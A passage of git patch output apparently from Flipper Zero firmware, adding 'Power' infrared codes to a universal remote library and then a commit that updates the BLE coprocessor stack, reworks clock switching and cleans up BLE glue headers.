1679 615 544 616 1679 615 545 615 1679 615 1679 615 1679 615 40240 9173 2273 591 # name: Vol_up type: raw @@ -622,6 +840,12 @@ type: parsed protocol: NEC address: 02 00 00 00 command: 14 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 14 00 00 00 # name: Vol_up type: parsed @@ -647,6 +871,12 @@ protocol: NECext address: B8 57 00 00 command: 0C F3 00 00 # +name: Power +type: parsed +protocol: NECext +address: B8 57 00 00 +command: 0C F3 00 00 +# name: Mute type: parsed protocol: NECext @@ -671,6 +901,12 @@ protocol: NEC address: 32 00 00 00 command: 81 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 32 00 00 00 +command: 81 00 00 00 +# name: Vol_dn type: parsed protocol: NEC @@ -694,6 +930,12 @@ type: parsed protocol: NEC address: 00 00 00 00 command: A8 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: A8 00 00 00 # name: Mute type: parsed @@ -718,6 +960,12 @@ type: parsed protocol: NECext address: 87 45 00 00 command: 17 E8 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 E8 00 00 # name: Vol_up type: raw @@ -742,6 +990,12 @@ type: parsed protocol: NECext address: FF FF 00 00 command: E8 17 00 00 +# +name: Power +type: parsed +protocol: NECext +address: FF FF 00 00 +command: E8 17 00 00 # name: Vol_up type: parsed @@ -760,6 +1014,12 @@ type: parsed protocol: Kaseikyo address: 41 54 32 00 command: 05 00 00 00 +# +name: Power +type: parsed +protocol: Kaseikyo +address: 41 54 32 00 +command: 05 00 00 00 # name: Vol_up type: parsed @@ -781,6 +1041,18 @@ command: 81 00 00 00 # name: Power type: parsed +protocol: NEC +address: 31 00 00 00 +command: 81 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 83 F4 00 00 +command: 17 E8 00 00 +# +name: Power +type: parsed protocol: NECext address: 83 F4 00 00 command: 17 E8 00 00 @@ -808,6 +1080,12 @@ type: parsed protocol: NECext address: 4F 50 00 00 command: 02 FD 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 02 FD 00 00 # name: Vol_up type: parsed @@ -845,6 +1123,12 @@ frequency: 38000 duty_cycle: 0.330000 data: 8811 4222 530 1580 531 1579 531 507 531 507 531 507 531 508 531 508 530 1582 528 1583 527 535 503 1608 502 536 501 1609 501 537 501 1610 500 538 500 1611 499 538 500 539 500 538 500 1611 500 539 499 538 500 1611 499 539 499 1611 499 1611 500 1611 499 539 499 1611 500 1611 500 539 499 35437 8784 4252 500 1611 500 1612 500 539 500 539 500 539 500 539 500 539 500 1611 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 539 500 539 499 1612 499 540 499 539 500 1612 499 539 500 1612 499 1613 499 1612 499 539 500 1612 500 1612 500 539 500 # +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8811 4222 530 1580 531 1579 531 507 531 507 531 507 531 508 531 508 530 1582 528 1583 527 535 503 1608 502 536 501 1609 501 537 501 1610 500 538 500 1611 499 538 500 539 500 538 500 1611 500 539 499 538 500 1611 499 539 499 1611 499 1611 500 1611 499 539 499 1611 500 1611 500 539 499 35437 8784 4252 500 1611 500 1612 500 539 500 539 500 539 500 539 500 539 500 1611 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 539 500 539 499 1612 499 540 499 539 500 1612 499 539 500 1612 499 1613 499 1612 499 539 500 1612 500 1612 500 539 500 +# name: Vol_up type: parsed protocol: NEC @@ -868,6 +1152,12 @@ type: parsed protocol: NEC address: 01 00 00 00 command: 00 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 00 00 00 00 # name: Mute type: raw @@ -899,6 +1189,12 @@ protocol: NEC address: 02 00 00 00 command: 12 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 12 00 00 00 +# name: Vol_dn type: parsed protocol: NEC @@ -917,6 +1213,12 @@ protocol: NECext address: 04 B1 00 00 command: 58 A7 00 00 # +name: Power +type: parsed +protocol: NECext +address: 04 B1 00 00 +command: 58 A7 00 00 +# name: Mute type: raw frequency: 38000 @@ -929,6 +1231,12 @@ protocol: NECext address: 8B CA 00 00 command: 12 ED 00 00 # +name: Power +type: parsed +protocol: NECext +address: 8B CA 00 00 +command: 12 ED 00 00 +# name: Vol_up type: parsed protocol: NECext @@ -961,6 +1269,18 @@ command: 40 00 00 00 # name: Power type: parsed +protocol: NEC +address: 01 00 00 00 +command: 40 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 00 BD 00 00 +command: 01 FE 00 00 +# +name: Power +type: parsed protocol: NECext address: 00 BD 00 00 command: 01 FE 00 00 @@ -1097,6 +1417,12 @@ protocol: NECext address: 87 4E 00 00 command: 17 E8 00 00 # +name: Power +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 E8 00 00 +# name: Vol_up type: parsed protocol: NECext @@ -1115,6 +1441,12 @@ frequency: 38000 duty_cycle: 0.33 data: 293 1801 296 753 295 1801 296 1801 296 752 296 754 294 1801 296 1800 297 752 296 1802 295 752 296 1801 296 753 295 1800 297 752 296 42709 296 1800 297 753 295 1800 297 1800 297 753 295 1802 295 753 295 753 295 1801 296 753 295 1801 296 754 294 1802 295 753 295 1801 296 42694 295 1800 297 752 296 1803 294 1803 294 753 295 753 295 1801 296 1802 295 752 296 1802 295 752 296 1801 296 753 295 1802 295 753 295 42709 295 1802 295 753 295 1803 294 1801 296 753 295 1802 295 752 296 752 296 1801 296 752 296 1803 294 754 294 1803 294 754 294 1804 293 42694 294 1802 294 755 293 1803 294 1804 268 779 269 779 269 1828 269 1828 269 780 268 1829 268 778 270 1829 323 725 268 1829 268 781 324 # +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 293 1801 296 753 295 1801 296 1801 296 752 296 754 294 1801 296 1800 297 752 296 1802 295 752 296 1801 296 753 295 1800 297 752 296 42709 296 1800 297 753 295 1800 297 1800 297 753 295 1802 295 753 295 753 295 1801 296 753 295 1801 296 754 294 1802 295 753 295 1801 296 42694 295 1800 297 752 296 1803 294 1803 294 753 295 753 295 1801 296 1802 295 752 296 1802 295 752 296 1801 296 753 295 1802 295 753 295 42709 295 1802 295 753 295 1803 294 1801 296 753 295 1802 295 752 296 752 296 1801 296 752 296 1803 294 754 294 1803 294 754 294 1804 293 42694 294 1802 294 755 293 1803 294 1804 268 779 269 779 269 1828 269 1828 269 780 268 1829 268 778 270 1829 323 725 268 1829 268 781 324 +# name: Mute type: raw frequency: 38000 From 338fc3afeac2bdb17630ab1ad4234972dbaccc7b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Tue, 19 Sep 2023 23:22:21 +0900 Subject: [PATCH 13/40] New clock switch schema, fixes random core2 crashes (#3008) * Updated stack to 1.17.0 * hal: ble: Fixed stack config * Bumped stack version in config * scripts: added validation of copro stack version in update bundles * Copro: update to 1.17.2 * FuriHal: adjust tick frequency for HSE as sys clk * FuriHal: adjust systick reload on sys clock change * Sync api and format sources * scripts: updated ob.data for newer stack * FuriHal: return core2 hse pll transition on deep sleep * FuriHal: cleanup ble glue * FuriHal: rework ble glue, allow shci_send in critical section * FuriHal: sync api symbols * FuriHal: cleanup BLE glue, remove unused garbage and duplicate declarations * FuriHal: BLE glue cleanup, 2nd iteration * FuriHal: hide tick drift reports under FURI_HAL_OS_DEBUG * Lib: sync stm32wb_copro with latest dev * FuriHal: ble-glue, slightly less editable device name and duplicate definition cleanup * FuriHal: update ble config options, enable some optimizations and ext adv * FuriHal: update clock switch method documentation * FuriHal: better SNBRSA bug workaround fix * FuriHal: complete comment about tick skew * FuriHal: proper condition in clock hsi2hse transition * FuriHal: move PLL start to hse2pll routine, fix lockup caused by core2 switching to HSE before us * FuriHal: explicit HSE start before switch * FuriHal: fix documentation and move flash latency change to later stage, remove duplicate LL_RCC_SetRFWKPClockSource call --------- Co-authored-by: hedger Co-authored-by: hedger --- SConstruct | 2 + fbt_options.py | 2 +- firmware/targets/f18/api_symbols.csv | 6 +- firmware/targets/f7/api_symbols.csv | 6 +- firmware/targets/f7/ble_glue/app_common.h | 30 +- firmware/targets/f7/ble_glue/app_conf.h | 286 +--------- firmware/targets/f7/ble_glue/app_debug.c | 17 +- firmware/targets/f7/ble_glue/app_debug.h | 28 +- firmware/targets/f7/ble_glue/ble_app.c | 11 +- firmware/targets/f7/ble_glue/ble_app.h | 6 +- firmware/targets/f7/ble_glue/ble_conf.h | 61 +- firmware/targets/f7/ble_glue/ble_const.h | 22 +- firmware/targets/f7/ble_glue/ble_dbg_conf.h | 200 +------ firmware/targets/f7/ble_glue/ble_glue.c | 19 - firmware/targets/f7/ble_glue/compiler.h | 22 +- firmware/targets/f7/ble_glue/hsem_map.h | 81 +++ firmware/targets/f7/ble_glue/hw_conf.h | 231 -------- firmware/targets/f7/ble_glue/hw_if.h | 102 ---- firmware/targets/f7/ble_glue/hw_ipcc.c | 529 ++---------------- firmware/targets/f7/ble_glue/osal.h | 25 +- firmware/targets/f7/ble_glue/tl_dbg_conf.h | 39 +- firmware/targets/f7/ble_glue/utilities_conf.h | 68 --- firmware/targets/f7/furi_hal/furi_hal_bt.c | 4 + firmware/targets/f7/furi_hal/furi_hal_clock.c | 97 +++- firmware/targets/f7/furi_hal/furi_hal_clock.h | 25 +- .../targets/f7/furi_hal/furi_hal_console.c | 2 - firmware/targets/f7/furi_hal/furi_hal_flash.c | 3 + .../targets/f7/furi_hal/furi_hal_memory.c | 16 +- firmware/targets/f7/furi_hal/furi_hal_os.c | 38 +- firmware/targets/f7/furi_hal/furi_hal_power.c | 17 +- .../targets/f7/furi_hal/furi_hal_random.c | 2 +- lib/stm32wb.scons | 1 - lib/stm32wb_copro | 2 +- scripts/ob.data | 6 +- scripts/update.py | 10 + 35 files changed, 327 insertions(+), 1689 deletions(-) create mode 100644 firmware/targets/f7/ble_glue/hsem_map.h delete mode 100644 firmware/targets/f7/ble_glue/hw_conf.h delete mode 100644 firmware/targets/f7/ble_glue/hw_if.h delete mode 100644 firmware/targets/f7/ble_glue/utilities_conf.h diff --git a/SConstruct b/SConstruct index 44ee774673..36e0600235 100644 --- a/SConstruct +++ b/SConstruct @@ -77,6 +77,8 @@ if GetOption("fullenv") or any( "${COPRO_DISCLAIMER}", "--obdata", '"${ROOT_DIR.abspath}/${COPRO_OB_DATA}"', + "--stackversion", + "${COPRO_CUBE_VERSION}", ] dist_resource_arguments = [ "-r", diff --git a/fbt_options.py b/fbt_options.py index bd804fc8b5..d13abbe5e2 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -22,7 +22,7 @@ COPRO_OB_DATA = "scripts/ob.data" # Must match lib/stm32wb_copro version -COPRO_CUBE_VERSION = "1.15.0" +COPRO_CUBE_VERSION = "1.17.2" COPRO_CUBE_DIR = "lib/stm32wb_copro" diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 0c20649318..bc17ff2fa8 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1020,8 +1020,10 @@ Function,+,furi_hal_clock_mco_disable,void, Function,+,furi_hal_clock_mco_enable,void,"FuriHalClockMcoSourceId, FuriHalClockMcoDivisorId" Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, -Function,-,furi_hal_clock_switch_to_hsi,void, -Function,-,furi_hal_clock_switch_to_pll,void, +Function,-,furi_hal_clock_switch_hse2hsi,void, +Function,-,furi_hal_clock_switch_hse2pll,_Bool, +Function,-,furi_hal_clock_switch_hsi2hse,void, +Function,-,furi_hal_clock_switch_pll2hse,_Bool, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 0819851543..26fad6b58f 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1091,8 +1091,10 @@ Function,+,furi_hal_clock_mco_disable,void, Function,+,furi_hal_clock_mco_enable,void,"FuriHalClockMcoSourceId, FuriHalClockMcoDivisorId" Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, -Function,-,furi_hal_clock_switch_to_hsi,void, -Function,-,furi_hal_clock_switch_to_pll,void, +Function,-,furi_hal_clock_switch_hse2hsi,void, +Function,-,furi_hal_clock_switch_hse2pll,_Bool, +Function,-,furi_hal_clock_switch_hsi2hse,void, +Function,-,furi_hal_clock_switch_pll2hse,_Bool, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, diff --git a/firmware/targets/f7/ble_glue/app_common.h b/firmware/targets/f7/ble_glue/app_common.h index 8eaf230859..e969636d27 100644 --- a/firmware/targets/f7/ble_glue/app_common.h +++ b/firmware/targets/f7/ble_glue/app_common.h @@ -1,30 +1,4 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * File Name : app_common.h - * Description : App Common application configuration file for STM32WPAN Middleware. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef APP_COMMON_H -#define APP_COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif +#pragma once #include #include @@ -36,5 +10,3 @@ extern "C" { #include #include "app_conf.h" - -#endif diff --git a/firmware/targets/f7/ble_glue/app_conf.h b/firmware/targets/f7/ble_glue/app_conf.h index ee5115cfed..25fa688c70 100644 --- a/firmware/targets/f7/ble_glue/app_conf.h +++ b/firmware/targets/f7/ble_glue/app_conf.h @@ -1,80 +1,32 @@ #pragma once -#include "hw_conf.h" -#include "hw_if.h" - -#include -#include +#include #define CFG_TX_POWER (0x19) /* +0dBm */ #define CFG_IDENTITY_ADDRESS GAP_PUBLIC_ADDR -/** - * Define Advertising parameters - */ -#define CFG_ADV_BD_ADDRESS (0x7257acd87a6c) -#define CFG_FAST_CONN_ADV_INTERVAL_MIN (0x80) /**< 80ms */ -#define CFG_FAST_CONN_ADV_INTERVAL_MAX (0xa0) /**< 100ms */ -#define CFG_LP_CONN_ADV_INTERVAL_MIN (0x640) /**< 1s */ -#define CFG_LP_CONN_ADV_INTERVAL_MAX (0xfa0) /**< 2.5s */ - /** * Define IO Authentication */ -#define CFG_BONDING_MODE (1) -#define CFG_FIXED_PIN (111111) -#define CFG_USED_FIXED_PIN (1) +#define CFG_USED_FIXED_PIN USE_FIXED_PIN_FOR_PAIRING_FORBIDDEN #define CFG_ENCRYPTION_KEY_SIZE_MAX (16) #define CFG_ENCRYPTION_KEY_SIZE_MIN (8) /** * Define IO capabilities */ -#define CFG_IO_CAPABILITY_DISPLAY_ONLY (0x00) -#define CFG_IO_CAPABILITY_DISPLAY_YES_NO (0x01) -#define CFG_IO_CAPABILITY_KEYBOARD_ONLY (0x02) -#define CFG_IO_CAPABILITY_NO_INPUT_NO_OUTPUT (0x03) -#define CFG_IO_CAPABILITY_KEYBOARD_DISPLAY (0x04) - -#define CFG_IO_CAPABILITY CFG_IO_CAPABILITY_DISPLAY_YES_NO +#define CFG_IO_CAPABILITY IO_CAP_DISPLAY_YES_NO /** * Define MITM modes */ -#define CFG_MITM_PROTECTION_NOT_REQUIRED (0x00) -#define CFG_MITM_PROTECTION_REQUIRED (0x01) - -#define CFG_MITM_PROTECTION CFG_MITM_PROTECTION_REQUIRED +#define CFG_MITM_PROTECTION MITM_PROTECTION_REQUIRED /** * Define Secure Connections Support */ -#define CFG_SECURE_NOT_SUPPORTED (0x00) -#define CFG_SECURE_OPTIONAL (0x01) -#define CFG_SECURE_MANDATORY (0x02) - -#define CFG_SC_SUPPORT CFG_SECURE_OPTIONAL - -/** - * Define Keypress Notification Support - */ -#define CFG_KEYPRESS_NOT_SUPPORTED (0x00) -#define CFG_KEYPRESS_SUPPORTED (0x01) - -#define CFG_KEYPRESS_NOTIFICATION_SUPPORT CFG_KEYPRESS_NOT_SUPPORTED - -/** - * Numeric Comparison Answers - */ -#define YES (0x01) -#define NO (0x00) - -/** - * Device name configuration for Generic Access Service - */ -#define CFG_GAP_DEVICE_NAME "TEMPLATE" -#define CFG_GAP_DEVICE_NAME_LENGTH (8) +#define CFG_SC_SUPPORT SC_PAIRING_OPTIONAL /** * Define PHY @@ -87,42 +39,6 @@ #define RX_1M 0x01 #define RX_2M 0x02 -/** -* Identity root key used to derive LTK and CSRK -*/ -#define CFG_BLE_IRK \ - { \ - 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, \ - 0xf0 \ - } - -/** -* Encryption root key used to derive LTK and CSRK -*/ -#define CFG_BLE_ERK \ - { \ - 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21, 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, \ - 0x21 \ - } - -/* USER CODE BEGIN Generic_Parameters */ -/** - * SMPS supply - * SMPS not used when Set to 0 - * SMPS used when Set to 1 - */ -#define CFG_USE_SMPS 1 -/* USER CODE END Generic_Parameters */ - -/**< specific parameters */ -/*****************************************************/ - -/** -* AD Element - Group B Feature -*/ -/* LSB - Second Byte */ -#define CFG_FEATURE_OTA_REBOOT (0x20) - /****************************************************************************** * BLE Stack ******************************************************************************/ @@ -203,7 +119,9 @@ * 1 : external high speed crystal HSE/32/32 * 0 : external low speed crystal ( no calibration ) */ -#define CFG_BLE_LSE_SOURCE 0 +#define CFG_BLE_LSE_SOURCE \ + SHCI_C2_BLE_INIT_CFG_BLE_LS_CLK_LSE | SHCI_C2_BLE_INIT_CFG_BLE_LS_OTHER_DEV | \ + SHCI_C2_BLE_INIT_CFG_BLE_LS_CALIB /** * Start up time of the high speed (16 or 32 MHz) crystal oscillator in units of 625/256 us (~2.44 us) @@ -253,8 +171,8 @@ */ #define CFG_BLE_OPTIONS \ (SHCI_C2_BLE_INIT_OPTIONS_LL_HOST | SHCI_C2_BLE_INIT_OPTIONS_WITH_SVC_CHANGE_DESC | \ - SHCI_C2_BLE_INIT_OPTIONS_DEVICE_NAME_RW | SHCI_C2_BLE_INIT_OPTIONS_NO_EXT_ADV | \ - SHCI_C2_BLE_INIT_OPTIONS_NO_CS_ALGO2 | SHCI_C2_BLE_INIT_OPTIONS_POWER_CLASS_2_3) + SHCI_C2_BLE_INIT_OPTIONS_DEVICE_NAME_RO | SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV | \ + SHCI_C2_BLE_INIT_OPTIONS_CS_ALGO2 | SHCI_C2_BLE_INIT_OPTIONS_POWER_CLASS_2_3) /** * Queue length of BLE Event @@ -282,187 +200,3 @@ 255 /**< Set to 255 with the memory manager and the mailbox */ #define TL_BLE_EVENT_FRAME_SIZE (TL_EVT_HDR_SIZE + CFG_TLBLE_MOST_EVENT_PAYLOAD_SIZE) -/****************************************************************************** - * UART interfaces - ******************************************************************************/ - -/** - * Select UART interfaces - */ -#define CFG_DEBUG_TRACE_UART hw_uart1 -#define CFG_CONSOLE_MENU 0 - -/****************************************************************************** - * Low Power - ******************************************************************************/ -/** - * When set to 1, the low power mode is enable - * When set to 0, the device stays in RUN mode - */ -#define CFG_LPM_SUPPORTED 1 - -/****************************************************************************** - * Timer Server - ******************************************************************************/ -/** - * CFG_RTC_WUCKSEL_DIVIDER: This sets the RTCCLK divider to the wakeup timer. - * The lower is the value, the better is the power consumption and the accuracy of the timerserver - * The higher is the value, the finest is the granularity - * - * CFG_RTC_ASYNCH_PRESCALER: This sets the asynchronous prescaler of the RTC. It should as high as possible ( to ouput - * clock as low as possible) but the output clock should be equal or higher frequency compare to the clock feeding - * the wakeup timer. A lower clock speed would impact the accuracy of the timer server. - * - * CFG_RTC_SYNCH_PRESCALER: This sets the synchronous prescaler of the RTC. - * When the 1Hz calendar clock is required, it shall be sets according to other settings - * When the 1Hz calendar clock is not needed, CFG_RTC_SYNCH_PRESCALER should be set to 0x7FFF (MAX VALUE) - * - * CFG_RTCCLK_DIVIDER_CONF: - * Shall be set to either 0,2,4,8,16 - * When set to either 2,4,8,16, the 1Hhz calendar is supported - * When set to 0, the user sets its own configuration - * - * The following settings are computed with LSI as input to the RTC - */ -#define CFG_RTCCLK_DIVIDER_CONF 0 - -#if(CFG_RTCCLK_DIVIDER_CONF == 0) -/** - * Custom configuration - * It does not support 1Hz calendar - * It divides the RTC CLK by 16 - */ -#define CFG_RTCCLK_DIV (16) -#define CFG_RTC_WUCKSEL_DIVIDER (0) -#define CFG_RTC_ASYNCH_PRESCALER (CFG_RTCCLK_DIV - 1) -#define CFG_RTC_SYNCH_PRESCALER (0x7FFF) - -#else - -#if(CFG_RTCCLK_DIVIDER_CONF == 2) -/** - * It divides the RTC CLK by 2 - */ -#define CFG_RTC_WUCKSEL_DIVIDER (3) -#endif - -#if(CFG_RTCCLK_DIVIDER_CONF == 4) -/** - * It divides the RTC CLK by 4 - */ -#define CFG_RTC_WUCKSEL_DIVIDER (2) -#endif - -#if(CFG_RTCCLK_DIVIDER_CONF == 8) -/** - * It divides the RTC CLK by 8 - */ -#define CFG_RTC_WUCKSEL_DIVIDER (1) -#endif - -#if(CFG_RTCCLK_DIVIDER_CONF == 16) -/** - * It divides the RTC CLK by 16 - */ -#define CFG_RTC_WUCKSEL_DIVIDER (0) -#endif - -#define CFG_RTCCLK_DIV CFG_RTCCLK_DIVIDER_CONF -#define CFG_RTC_ASYNCH_PRESCALER (CFG_RTCCLK_DIV - 1) -#define CFG_RTC_SYNCH_PRESCALER (DIVR(LSE_VALUE, (CFG_RTC_ASYNCH_PRESCALER + 1)) - 1) - -#endif - -/** tick timer value in us */ -#define CFG_TS_TICK_VAL DIVR((CFG_RTCCLK_DIV * 1000000), LSE_VALUE) - -typedef enum { - CFG_TIM_PROC_ID_ISR, - /* USER CODE BEGIN CFG_TimProcID_t */ - - /* USER CODE END CFG_TimProcID_t */ -} CFG_TimProcID_t; - -/****************************************************************************** - * Debug - ******************************************************************************/ -/** - * When set, this resets some hw resources to set the device in the same state than the power up - * The FW resets only register that may prevent the FW to run properly - * - * This shall be set to 0 in a final product - * - */ -#define CFG_HW_RESET_BY_FW 0 - -/** - * keep debugger enabled while in any low power mode when set to 1 - * should be set to 0 in production - */ -#define CFG_DEBUGGER_SUPPORTED 1 - -/** - * When set to 1, the traces are enabled in the BLE services - */ -#define CFG_DEBUG_BLE_TRACE 0 - -/** - * Enable or Disable traces in application - */ -#define CFG_DEBUG_APP_TRACE 0 - -#if(CFG_DEBUG_APP_TRACE != 0) -#define APP_DBG_MSG PRINT_MESG_DBG -#else -#define APP_DBG_MSG PRINT_NO_MESG -#endif - -#if((CFG_DEBUG_BLE_TRACE != 0) || (CFG_DEBUG_APP_TRACE != 0)) -#define CFG_DEBUG_TRACE 1 -#endif - -#if(CFG_DEBUG_TRACE != 0) -#undef CFG_LPM_SUPPORTED -#undef CFG_DEBUGGER_SUPPORTED -#define CFG_LPM_SUPPORTED 0 -#define CFG_DEBUGGER_SUPPORTED 1 -#endif - -/** - * When CFG_DEBUG_TRACE_FULL is set to 1, the trace are output with the API name, the file name and the line number - * When CFG_DEBUG_TRACE_LIGHT is set to 1, only the debug message is output - * - * When both are set to 0, no trace are output - * When both are set to 1, CFG_DEBUG_TRACE_FULL is selected - */ -#define CFG_DEBUG_TRACE_LIGHT 0 -#define CFG_DEBUG_TRACE_FULL 0 - -#if((CFG_DEBUG_TRACE != 0) && (CFG_DEBUG_TRACE_LIGHT == 0) && (CFG_DEBUG_TRACE_FULL == 0)) -#undef CFG_DEBUG_TRACE_FULL -#undef CFG_DEBUG_TRACE_LIGHT -#define CFG_DEBUG_TRACE_FULL 0 -#define CFG_DEBUG_TRACE_LIGHT 1 -#endif - -#if(CFG_DEBUG_TRACE == 0) -#undef CFG_DEBUG_TRACE_FULL -#undef CFG_DEBUG_TRACE_LIGHT -#define CFG_DEBUG_TRACE_FULL 0 -#define CFG_DEBUG_TRACE_LIGHT 0 -#endif - -/** - * When not set, the traces is looping on sending the trace over UART - */ -#define DBG_TRACE_USE_CIRCULAR_QUEUE 0 - -/** - * max buffer Size to queue data traces and max data trace allowed. - * Only Used if DBG_TRACE_USE_CIRCULAR_QUEUE is defined - */ -#define DBG_TRACE_MSG_QUEUE_SIZE 4096 -#define MAX_DBG_TRACE_MSG_SIZE 1024 - -#define CFG_OTP_BASE_ADDRESS OTP_AREA_BASE -#define CFG_OTP_END_ADRESS OTP_AREA_END_ADDR diff --git a/firmware/targets/f7/ble_glue/app_debug.c b/firmware/targets/f7/ble_glue/app_debug.c index d288528223..fe76687b9a 100644 --- a/firmware/targets/f7/ble_glue/app_debug.c +++ b/firmware/targets/f7/ble_glue/app_debug.c @@ -6,6 +6,9 @@ #include #include +#include "stm32wbxx_ll_bus.h" +#include "stm32wbxx_ll_pwr.h" + #include typedef PACKED_STRUCT { @@ -108,10 +111,6 @@ static void APPD_SetCPU2GpioConfig(void); static void APPD_BleDtbCfg(void); void APPD_Init() { -#if(CFG_DEBUG_TRACE != 0) - DbgTraceInit(); -#endif - APPD_SetCPU2GpioConfig(); APPD_BleDtbCfg(); } @@ -252,13 +251,3 @@ static void APPD_BleDtbCfg(void) { } #endif } - -#if(CFG_DEBUG_TRACE != 0) -void DbgOutputInit(void) { -} - -void DbgOutputTraces(uint8_t* p_data, uint16_t size, void (*cb)(void)) { - furi_hal_console_tx(p_data, size); - cb(); -} -#endif diff --git a/firmware/targets/f7/ble_glue/app_debug.h b/firmware/targets/f7/ble_glue/app_debug.h index 92a54d75b0..213470bed5 100644 --- a/firmware/targets/f7/ble_glue/app_debug.h +++ b/firmware/targets/f7/ble_glue/app_debug.h @@ -1,26 +1,4 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * File Name : app_debug.h - * Description : Header for app_debug.c module - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __APP_DEBUG_H -#define __APP_DEBUG_H +#pragma once #ifdef __cplusplus extern "C" { @@ -32,7 +10,3 @@ void APPD_EnableCPU2(void); #ifdef __cplusplus } #endif - -#endif /*__APP_DEBUG_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/ble_app.c b/firmware/targets/f7/ble_glue/ble_app.c index c0418d9fe8..548a86e191 100644 --- a/firmware/targets/f7/ble_glue/ble_app.c +++ b/firmware/targets/f7/ble_glue/ble_app.c @@ -18,8 +18,8 @@ PLACE_IN_SECTION("MB_MEM1") ALIGN(4) static TL_CmdPacket_t ble_app_cmd_buffer; PLACE_IN_SECTION("MB_MEM2") ALIGN(4) static uint32_t ble_app_nvm[BLE_NVM_SRAM_SIZE]; _Static_assert( - sizeof(SHCI_C2_Ble_Init_Cmd_Packet_t) == 57, - "Ble stack config structure size mismatch (check new config options - last updated for v.1.15.0)"); + sizeof(SHCI_C2_Ble_Init_Cmd_Packet_t) == 58, + "Ble stack config structure size mismatch (check new config options - last updated for v.1.17.2)"); typedef struct { FuriMutex* hci_mtx; @@ -72,10 +72,13 @@ static const SHCI_C2_Ble_Init_Cmd_Packet_t ble_init_cmd_packet = { .rx_model_config = 1, /* New stack (13.3->15.0) */ .max_adv_set_nbr = 1, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set - .max_adv_data_len = 31, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set + .max_adv_data_len = 1650, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set .tx_path_compens = 0, // RF TX Path Compensation, * 0.1 dB .rx_path_compens = 0, // RF RX Path Compensation, * 0.1 dB - .ble_core_version = 11, // BLE Core Version: 11(5.2), 12(5.3) + .ble_core_version = SHCI_C2_BLE_INIT_BLE_CORE_5_4, + /*15.0->17.0*/ + .Options_extension = SHCI_C2_BLE_INIT_OPTIONS_ENHANCED_ATT_NOTSUPPORTED | + SHCI_C2_BLE_INIT_OPTIONS_APPEARANCE_READONLY, }}; bool ble_app_init() { diff --git a/firmware/targets/f7/ble_glue/ble_app.h b/firmware/targets/f7/ble_glue/ble_app.h index 495005ec48..2e6babab79 100644 --- a/firmware/targets/f7/ble_glue/ble_app.h +++ b/firmware/targets/f7/ble_glue/ble_app.h @@ -1,12 +1,12 @@ #pragma once +#include +#include + #ifdef __cplusplus extern "C" { #endif -#include -#include - bool ble_app_init(); void ble_app_get_key_storage_buff(uint8_t** addr, uint16_t* size); void ble_app_thread_stop(); diff --git a/firmware/targets/f7/ble_glue/ble_conf.h b/firmware/targets/f7/ble_glue/ble_conf.h index a04d1def1b..2b9c22dfe3 100644 --- a/firmware/targets/f7/ble_glue/ble_conf.h +++ b/firmware/targets/f7/ble_glue/ble_conf.h @@ -1,51 +1,7 @@ -/** - ****************************************************************************** - * File Name : App/ble_conf.h - * Description : Configuration file for BLE Middleware. - * - ****************************************************************************** - * @attention - * - *

